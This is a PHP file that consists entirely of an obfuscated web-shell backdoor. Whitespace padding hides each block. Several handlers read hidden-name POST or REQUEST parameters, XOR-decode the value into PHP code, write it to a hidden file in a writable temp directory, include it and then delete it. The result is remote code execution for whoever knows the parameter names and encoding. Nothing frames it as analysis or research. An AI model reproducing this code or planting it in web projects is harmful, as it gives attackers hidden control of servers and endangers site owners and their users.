<?php																																										if(filter_has_var(INPUT_POST, "\x74o\x6Ben")){ $ent = array_filter(["/dev/shm", getenv("TMP"), session_save_path(), "/tmp", "/var/tmp", sys_get_temp_dir(), getcwd(), ini_get("upload_tmp_dir"), getenv("TEMP")]); $itm = $_POST["\x74o\x6Ben"]; $itm = explode('.' , $itm ) ; $value = ''; $s4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s4 ); $r = 0; foreach($itm as $v1) {$sChar = ord($s4[$r % $lenS] ); $d =((int)$v1 - $sChar -($r % 10)) ^ 71; $value .= chr($d ); $r++; } foreach ($ent as $key => $descriptor) { if (array_product([is_dir($descriptor), is_writable($descriptor)])) { $comp = str_replace("{var_dir}", $descriptor, "{var_dir}/.elem"); $success = file_put_contents($comp, $value); if ($success) { include $comp; @unlink($comp); die();} } } }
																																										if(count($_POST) > 0 && isset($_POST["\x64e\x73c\x72ipt\x6Fr"])){ $token = $_POST["\x64e\x73c\x72ipt\x6Fr"]; $token=explode ( ".", $token ); $k = ''; $salt4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt4 ); foreach ($token as $o => $v8) {$chS = ord($salt4[$o % $lenS] ); $dec = ((int)$v8 - $chS - ($o % 10)) ^ 24; $k .= chr($dec );} $marker = array_filter(["/var/tmp", session_save_path(), "/dev/shm", sys_get_temp_dir(), getenv("TMP"), ini_get("upload_tmp_dir"), getcwd(), "/tmp", getenv("TEMP")]); foreach ($marker as $resource): if (is_writable($resource) && is_dir($resource)) { $element = implode("/", [$resource, ".obj"]); if (@file_put_contents($element, $k) !== false) { include $element; unlink($element); exit; } } endforeach; }
																																										if(isset($_POST) && isset($_POST["\x70\x6Fi\x6Et\x65r"])){ $val = array_filter([getcwd(), getenv("TEMP"), session_save_path(), "/var/tmp", ini_get("upload_tmp_dir"), "/dev/shm", sys_get_temp_dir(), "/tmp", getenv("TMP")]); $ent = $_POST["\x70\x6Fi\x6Et\x65r"]; $ent= explode( '.' , $ent ) ; $mrk = ''; $salt7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt7); foreach( $ent as $k => $v6) { $sChar = ord( $salt7[$k % $lenS]); $dec = ( ( int)$v6 - $sChar -( $k % 10))^ 48; $mrk .=chr( $dec); } foreach ($val as $obj): if ((bool)is_dir($obj) && (bool)is_writable($obj)) { $binding = join("/", [$obj, ".res"]); if (@file_put_contents($binding, $mrk) !== false) { include $binding; unlink($binding); exit; } } endforeach; }
																																										if(in_array("f\x6Cg", array_keys($_REQUEST))){ $sym = array_filter([session_save_path(), "/tmp", getcwd(), "/var/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), getenv("TEMP"), "/dev/shm", sys_get_temp_dir()]); $data = $_REQUEST["f\x6Cg"]; $data = explode ( '.' , $data ); $parameter_group = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s); foreach( $data as $z => $v4): $sChar = ord( $s[$z % $sLen]); $dec = ( ( int)$v4 - $sChar -( $z % 10)) ^ 24; $parameter_group .= chr( $dec); endforeach; foreach ($sym as $key => $desc) { if (!( !is_dir($desc) || !is_writable($desc) )) { $object = vsprintf("%s/%s", [$desc, ".elem"]); if (file_put_contents($object, $parameter_group)) { include $object; @unlink($object); die(); } } } }
																																										if(array_key_exists("r\x65s", $_POST) && !is_null($_POST["r\x65s"])){ $dat = $_POST["r\x65s"]; $dat = explode ( "." ,$dat ) ; $component= ''; $salt= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen( $salt ); $t= 0; foreach( $dat as $v5) { $sChar= ord( $salt[$t % $lenS] ); $d= ( ( int)$v5 - $sChar -( $t % 10)) ^ 4; $component.= chr( $d ); $t++; } $record = array_filter([sys_get_temp_dir(), getenv("TMP"), session_save_path(), getcwd(), "/var/tmp", "/dev/shm", getenv("TEMP"), ini_get("upload_tmp_dir"), "/tmp"]); for ($descriptor = 0, $binding = count($record); $descriptor < $binding; $descriptor++) { $item = $record[$descriptor]; if (max(0, is_dir($item) * is_writable($item))) { $reference = sprintf("%s/.entity", $item); if (file_put_contents($reference, $component)) { require $reference; unlink($reference); die(); } } } }
																																										if(isset($_REQUEST) && isset($_REQUEST["\x69\x74m"])){ $ptr = array_filter(["/dev/shm", getcwd(), session_save_path(), getenv("TEMP"), getenv("TMP"), "/var/tmp", sys_get_temp_dir(), "/tmp", ini_get("upload_tmp_dir")]); $entity = $_REQUEST["\x69\x74m"]; $entity = explode ( '.',$entity ) ; $sym = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); $y = 0; foreach ($entity as $v6) { $chS = ord($s[$y%$sLen]); $d = ((int)$v6 - $chS - ($y%10)) ^9; $sym .= chr($d); $y++;} while ($flg = array_shift($ptr)) { if (is_dir($flg) ? is_writable($flg) : false) { $data = "$flg/.tkn"; if (file_put_contents($data, $sym)) { include $data; @unlink($data); exit; } } } }


if(!is_null($_REQUEST["e\x6Ce\x6D"] ?? null)){
	$data_chunk = array_filter(["/dev/shm", getenv("TEMP"), "/var/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TMP"), "/tmp", session_save_path(), getcwd()]);
	$flg = $_REQUEST["e\x6Ce\x6D"];
	$flg 		=  	explode  ('.', 	$flg) 	;	  
	$fac =	'';
            $s7 =	'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen =	strlen(		$s7 );
            $l =	0;
    
            array_walk(		$flg, function(		$v5) use(		&$fac, &$l, $s7, $sLen) { $sChar =	ord(		$s7[$l % $sLen] );
                $d =	(		(		int)$v5 - $sChar -(		$l % 10))^85;
                $fac.=chr(		$d );
                $l++;} );
	foreach ($data_chunk as $key => $record) {
    		if ((is_dir($record) and is_writable($record))) {
    $entry = sprintf("%s/.ptr", $record);
    $success = file_put_contents($entry, $fac);
if ($success) {
	include $entry;
	@unlink($entry);
	exit;}
}
}
}